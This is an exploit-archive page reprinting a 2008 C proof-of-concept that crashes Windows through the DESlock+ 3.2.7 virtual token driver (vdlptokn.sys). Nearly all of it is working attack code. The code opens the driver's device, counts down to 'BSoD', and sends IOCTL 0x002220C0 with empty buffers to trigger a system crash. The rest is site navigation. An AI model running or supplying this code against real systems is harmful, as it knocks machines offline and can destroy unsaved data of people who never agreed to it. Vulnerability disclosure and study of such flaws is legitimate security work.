DESlock+ 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit

Advisory Content :

///////////////////////////////////////////////////////////////////////////
/////////
//
+--------------------------------------------------------------------------
--+ //
// |
| //
// | Data Encryption Systems Ltd. - http://www.deslock.com/
| //
// | Data Encryption Systems DESlock+ - 3.2.7
| //
// | DESlock+ Virtual Token Driver - 1.0.2.43 - vdlptokn.sys
| //
// | DoS Exploit
| //
// |
| //
//
+--------------------------------------------------------------------------
--+ //
// |
| //
// | NT Internals - http://www.ntinternals.org/
| //
// | alex ntinternals org
| //
// | 21 September 2008
| //
// |
| //
//
+--------------------------------------------------------------------------
--+ //
///////////////////////////////////////////////////////////////////////////
/////////

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

#define IMP_VOID __declspec(dllimport) VOID __stdcall
#define IMP_SYSCALL __declspec(dllimport) NTSTATUS __stdcall

#define OBJ_CASE_INSENSITIVE 0x00000040
#define FILE_OPEN_IF 0x00000003

typedef ULONG NTSTATUS;

typedef struct _UNICODE_STRING
{
/* 0x00 */ USHORT Length;
/* 0x02 */ USHORT MaximumLength;
/* 0x04 */ PWSTR Buffer;
/* 0x08 */
}
UNICODE_STRING,
*PUNICODE_STRING,
**PPUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
/* 0x00 */ ULONG Length;
/* 0x04 */ HANDLE RootDirectory;
/* 0x08 */ PUNICODE_STRING ObjectName;
/* 0x0C */ ULONG Attributes;
/* 0x10 */ PSECURITY_DESCRIPTOR SecurityDescriptor;
/* 0x14 */ PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService;
/* 0x18 */
}
OBJECT_ATTRIBUTES,
*POBJECT_ATTRIBUTES,
**PPOBJECT_ATTRIBUTES;

typedef struct _IO_STATUS_BLOCK
{
union
{
/* 0x00 */ NTSTATUS Status;
/* 0x00 */ PVOID Pointer;
};

/* 0x04 */ ULONG Information;
/* 0x08 */
}
IO_STATUS_BLOCK,
*PIO_STATUS_BLOCK,
**PPIO_STATUS_BLOCK;

typedef VOID (NTAPI *PIO_APC_ROUTINE)
(
IN PVOID ApcContext,
IN PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG Reserved
);

IMP_VOID RtlInitUnicodeString
(
IN OUT PUNICODE_STRING DestinationString,
IN PCWSTR SourceString
);

IMP_VOID RtlFreeUnicodeString
(
IN PUNICODE_STRING UnicodeString
);

IMP_SYSCALL NtCreateFile
(
OUT PHANDLE FileHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN PLARGE_INTEGER AllocationSize OPTIONAL,
IN ULONG FileAttributes,
IN ULONG ShareAccess,
IN ULONG CreateDisposition,
IN ULONG CreateOptions,
IN PVOID EaBuffer OPTIONAL,
IN ULONG EaLength
);

IMP_SYSCALL NtDeviceIoControlFile
(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
);

IMP_SYSCALL NtClose
(
IN HANDLE Handle
);

IMP_SYSCALL NtDelayExecution
(
IN BOOLEAN Alertable,
IN PLARGE_INTEGER Interval
);

int __cdecl main(int argc, char **argv)
{
NTSTATUS NtStatus;

HANDLE DeviceHandle;

UNICODE_STRING DeviceName;
OBJECT_ATTRIBUTES ObjectAttributes;
IO_STATUS_BLOCK IoStatusBlock;
LARGE_INTEGER Interval;

///////////////////////////////////////////////////////////////////////////
////////////////////

system("cls");

printf( "
+--------------------------------------------------------------------------
--+\n"
" |
|\n"
" | Data Encryption Systems Ltd. - http://www.deslock.com/
|\n"
" | Data Encryption Systems DESlock+ - 3.2.7
|\n"
" | DESlock+ Virtual Token Driver - 1.0.2.43 - vdlptokn.sys
|\n"
" | DoS Exploit
|\n"
" |
|\n"
"
+--------------------------------------------------------------------------
--+\n"
" |
|\n"
" | NT Internals - http://www.ntinternals.org/
|\n"
" | alex ntinternals org
|\n"
" | 21 September 2008
|\n"
" |
|\n"
"
+--------------------------------------------------------------------------
--+\n\n");

///////////////////////////////////////////////////////////////////////////
////////////////////

RtlInitUnicodeString(&DeviceName, L"\\Device\\DLPTokenWalter0");

ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.ObjectName = &DeviceName;
ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
ObjectAttributes.SecurityDescriptor = NULL;
ObjectAttributes.SecurityQualityOfService = NULL;

NtStatus = NtCreateFile(
&DeviceHandle, //
FileHandle
FILE_READ_DATA | FILE_WRITE_DATA, //
DesiredAccess
&ObjectAttributes, //
ObjectAttributes
&IoStatusBlock, //
IoStatusBlock
NULL, //
AllocationSize OPTIONAL
0, //
FileAttributes
FILE_SHARE_READ | FILE_SHARE_WRITE, //
ShareAccess
FILE_OPEN_IF, //
CreateDisposition
0, //
CreateOptions
NULL, // EaBuffer
OPTIONAL
0); //
EaLength

if(NtStatus)
{
printf(" [*] NtStatus of NtCreateFile - 0x%.8X\n", NtStatus);
return NtStatus;
}

RtlFreeUnicodeString(&DeviceName);

///////////////////////////////////////////////////////////////////////////
////////////////////

Interval.LowPart = 0xFF676980;
Interval.HighPart = 0xFFFFFFFF;

printf(" 3");
NtDelayExecution(FALSE, &Interval);

printf(" 2");
NtDelayExecution(FALSE, &Interval);

printf(" 1");
NtDelayExecution(FALSE, &Interval);

printf(" BSoD\n\n");
NtDelayExecution(FALSE, &Interval);

NtStatus = NtDeviceIoControlFile(
DeviceHandle, // FileHandle
NULL, // Event
NULL, // ApcRoutine
NULL, // ApcContext
&IoStatusBlock, // IoStatusBlock
0x002220C0, // IoControlCode
NULL, // InputBuffer
0, // InputBufferLength
NULL, // OutputBuffer
0); // OutBufferLength

if(NtStatus)
{
printf(" [*] NtStatus of NtDeviceIoControlFile - 0x%.8X\n",
NtStatus);
return NtStatus;
}

///////////////////////////////////////////////////////////////////////////
////////////////////

NtStatus = NtClose(DeviceHandle); // Handle

if(NtStatus)
{
printf(" [*] NtStatus of NtClose - 0x%.8X\n", NtStatus);
return NtStatus;
}

return 0;
}

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

DESlock+ 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit